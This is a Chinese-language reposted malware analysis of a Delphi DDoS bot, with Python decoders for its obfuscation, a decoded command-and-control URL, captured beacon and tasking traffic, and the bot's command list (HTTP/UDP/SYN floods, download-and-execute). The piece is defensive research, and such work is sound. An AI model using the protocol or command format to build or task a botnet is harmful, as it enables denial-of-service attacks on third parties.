您的位置: 网界网 > 网络学院-安全 > 正文

Arbor成功拦截雪豹病毒

2014年05月30日 10:34:29 | 作者:佚名 | 来源:51CTO | 查看本文手机版

摘要:@malpush把Tweet中的木马雪豹暴露到了我们Arbor的无线电探测器中,此次的木马表现是在Tweet中显示一个网址,当你填入信息后,他会通往一个指令和控制面板(C&C)如下所示: 498)this.width=498;' onmousewheel = 'javascript:re...

标签
雪豹病毒
Arbor

@malpush把Tweet中的木马雪豹暴露到了我们Arbor的无线电探测器中,此次的木马表现是在Tweet中显示一个网址,当你填入信息后,他会通往一个指令和控制面板(C&C)如下所示:

Arbor成功拦截雪豹病毒

这一现象使我深信我应更深入地了解雪豹。巧合的是对于Arbor来说,这一恶意程序结果竟是DDoS[注](分布式拒绝服务[注]攻击)僵尸程序。

恶意程序样例

分析研究样例可以在malwr查找到 (MD5: 4fa91b76294d849d01655ffb72b30981)。

这是用Delphi编写的恶意软件包括以下几种形式: UPX填充,字符串模糊处理,反病毒机器,反调试,自我修改代码,过程挖空。

这种基于Delphi的使用和使用的面板部分的语言,很可能是起源于俄罗斯。

模糊处理

木马雪豹使用两种模糊处理方式;它们是 base64 和 XOR的联合。不同秘钥使用不同的部分。第一个模糊处理方式是用在字符串上,可以用下面的Python函数可以解码:

def decrypt_strings(msg, key): msg_no_b64 = base64.b64decode(msg) plain_buf = [] for i in range(len(msg_no_b64)): key_lsb = ord(key[i % len(key)]) & 0xf msg_lsb = ord(msg_no_b64[i]) & 0xf c = msg_lsb ^ key_lsb d = c ^ 0xa msg_slsb = ord(msg_no_b64[i]) & 0xf0 plain_byte = msg_slsb ^ d plain_buf.append(chr(plain_byte)) return "".join(plain_buf)

下面是一些例子:

>>> decrypt_strings("QG1wZ2xnPj4sZGNk", "12xc3qwfhjeryTTYHH") 'Kernel32.dll' >>> decrypt_strings("TG12RGZveGBnSG5mZ2JrQg==", "12xc3qwfhjeryTTYHH") 'GetModuleHandleA' >>> decrypt_strings("dWpkbXFqZmxi", "mu#X") 'removeone' >>> decrypt_strings("cn9tY3Nqf2d1", "mu#X") 'updatever' >>> decrypt_strings("ZXN8djotITgyOyQ0MD4mOD45Jzc5I2NmfS1kaXhzdCx YXo=", "GMrlZ8t3pypO3423423LpFqCUx") 'http://188.190.101.13/hor/input.php'

第二种方法主要用在C&C通信上,并且可按照下面Python函数清理:

def decrypt_cnc(msg, key): msg_no_b64 = base64.b64decode(msg) plain_buf = [] for offset, enc_byte in enumerate(msg_no_b64): plain_byte = ord(enc_byte) ^ ord(key[offset % len(key)]) plain_buf.append(chr(plain_byte)) return "".join(plain_buf)

下面是一些例子:

>>> decrypt_cnc("ChYJCRhta3k=", "\x38") '2.11 USA' >>> decrypt_cnc("DRhAAA4YeRgIXBgIUBgPVRgKAEs=", "\x38") '5 x86 A 0d 0h 7m 28s'

指令与控制

C&C是基于HTTP(超文本转移协议)。两种信息类型已经被识别出来了。第一种信息类型o或者是“背景连线通讯”就像这样:

POST /hor/input.php HTTP/1.0 Host: 188.190.101.13 User-Agent: Mozilla Gecko Firefox 25 Accept: text/plain Accept-Encoding: identity Accept-Language: en-EN,en Connection: Close Referer: http://mhome.br Content-Length: 106 Content-Type: application/x-www-form-urlencoded m=CA==&h=CQAACAsPDgEICgkPCQkPDQgPDw4KCQ4LDw4BCwE=&p=cHd1fQ==&v=ChYJCRhta3k=&s=DRhAAA4YeRgIXBgIUBgPVRgKAEs=

这就是它如何被解码的:

m=0&h=18803769021711750776216376939&p=HOME&v=2.11 USA&s=5 x86 A 0d 0h 7m 28s

它的POST参数是:

· m – Message type (0)

· h – Hash based on computer name

· p – Computer name

· v – Version and locale

· s – Windows version, architecture, user type, and uptime

背景连线通讯反应如下方:

HTTP/1.1 200 OK Date: Wed, 04 Dec 2013 14:48:27 GMT Server: Apache/2.2.15 (CentOS) X-Powered-By: PHP/5.3.3 Content-Length: 32 Connection: close Content-Type: text/html; charset=UTF-8 dVdCUVRUWRh/XVtTVxh UUpdXldAGAoN

被解码,这是在请求中使用的用户代理

>>> decrypt_cnc("dVdCUVRUWRh/XVtTVxh UUpdXldAGAoN", "\x38") 'Mozilla Gecko Firefox 25'

第二种信息类型是1或者“指令调查”。 如下方:

POST /hor/input.php HTTP/1.0 Host: 188.190.101.13 User-Agent: Mozilla Gecko Firefox 25 Accept: text/plain Accept-Encoding: identity Accept-Language: en-EN,en Connection: Close Referer: http://udot.tk Content-Length: 49 Content-Type: application/x-www-form-urlencoded m=CQ==&h=CQAACAsPDgEICgkPCQkPDQgPDw4KCQ4LDw4BCwE=

被解码为:

m=1&h=18803769021711750776216376939

它的POST参数是:

· m – Message type (1)

· h – Hash based on computer name

调查反应样例:

HTTP/1.1 200 OK Date: Wed, 04 Dec 2013 12:56:16 GMT Server: Apache/2.2.15 (CentOS) X-Powered-By: PHP/5.3.3 Content-Length: 72 Connection: close Content-Type: text/html; charset=UTF-8 UExMSF5UV1dcElBMTEgCFxdMWUpfXUwWVl1MF1FWXF1AFkhQSBcSAAgSCQ0IEgg=

被解码:

decrypt_cnc("UExMSF5UV1dcElBMTEgCFxdMWUpfXUwWVl1MF1FWXF1AFkhQSBcSAAgSCQ0IEgg=", "\x38") 'httpflood*http://target.net/index.php/*80*150*0'

指令被多个“*”限定,如下面格式:

command*arg1*arg2*arg3*arg4*arg5*arg6*arg7

指令

下面的bot(网络爬虫)指令已被识别:

· httpflood – HTTP GET flood

· httppost – HTTP POST flood

· udpflood – UDP flood

· synflood – TCP connect flood

· tcpflood – TCP flood

· download – download and execute (all bots)

· downloadone – download and execute (specified bot)

· update – update (all bots)

· updateos – update (specified OS)

· updateone – update (specified bot)

· updatever – update (specified version)

· removeos – remove bot (specified OS)

· removeone – remove bot (specified bot)

· s! – stop all floods

· su – stop UDP flood

· sh – stop HTTP flood

· ss – stop TCP SYN flood

· st – stop TCP flood

关于每个指令的更多信息(+本站微信networkworldweixin),可在C&C面板内的“任务管理”一栏查找到。

Arbor成功拦截雪豹病毒

Arbor成功拦截雪豹病毒

注意:我在分析的二进制里看不到任何关于“memexec”或者“script”指令的引用。

指令和控制面板

总结起来,这便是指令和控制面板幕后的行程;“静态/指数”页面:

Arbor成功拦截雪豹病毒

这便是“上传”页面:

Arbor成功拦截雪豹病毒

部分“Bot清单”页面:

Arbor成功拦截雪豹病毒

结论:

该篇分析了crypto(加密),C&C基础设施,与木马指令台。雪豹——一个新的DDoS bot(网络爬虫)程序很可能来自于俄罗斯。在写入的同时,仅有少量的独特样例与C&C服务器已经被识别了,那么这项新威胁之攻击规模和影响还有待确定。Arbor安全工程响应小组(ASERT)将会继续追踪雪豹病毒

参考资料

1.DDoS:分布式拒绝服务(:Distributed Denial of Service)攻击指借助于客户/服务器技术,将多个计算机联合起来作为攻击平台,对一个或多个目标发动DoS攻击,从而成倍地提高拒绝服务...详情>>

[责任编辑:孙可 sun_ke@cnw.com.cn]